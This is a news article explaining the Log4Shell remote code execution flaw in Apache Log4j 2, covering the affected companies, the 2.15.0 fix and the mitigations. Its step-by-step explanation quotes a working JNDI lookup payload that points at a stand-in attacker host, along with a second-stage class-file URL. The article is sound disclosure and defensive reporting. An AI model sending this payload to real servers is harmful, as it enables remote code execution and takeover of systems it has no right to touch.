Countless Serves Are Vulnerable to Apache Log4j Zero-Day Exploit

A critical vulnerability has been discovered in Apache Log4j 2, an open source Java package used to enable logging in many popular applications, and it can be exploited to enable remote code execution on countless servers.

The Apache Software Foundation (ASF) has identified the vulnerability as CVE-2021-44228; LunaSec has dubbed it Log4Shell. (And security researcher Kevin Beaumont was kind enough to create a logo for it, too.) ASF says Log4Shell receives the maximum severity rating, 10, on the Common Vulnerability Scoring System (CVSS) scale.

1. Data from the User gets sent to the server (via any protocol),
2. The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server),
3. The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via “Java Naming and Directory Interface” (JNDI),
4. This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process,
5. This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.

Researchers have already found evidence that Log4Shell can be exploited in servers operated by Apple, Cloudflare, Twitter, Valve, Tencent, and other large companies. The vulnerability is said to be particularly easy to exploit in Minecraft servers, too, with some proof of concept attacks using nothing more than the in-game chat.

Log4j version 2.15.0 has been released to address this flaw, but The Record reports that its fix merely changes a setting from “false” to “true” by default. Users who change the setting back to “false” remain vulnerable to attack. Luckily this means that servers running earlier versions of Log4j can mitigate the attack by changing that setting.

ASF says that “this behavior can be mitigated by setting system property ‘log4j2.formatMsgNoLookups’ to ‘true’ or by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class)” in earlier versions of Log4j if users can’t upgrade to the 2.15.0 release.

The Computer Emergency Response Team (CERT) for New Zealand, Deutsche Telekom’s CERT, the Greynoise security firm, and others have all reported that attackers are actively looking for servers vulnerable to Log4Shell attacks. These efforts will continue—and expand—so addressing the vulnerability as soon as possible is critical.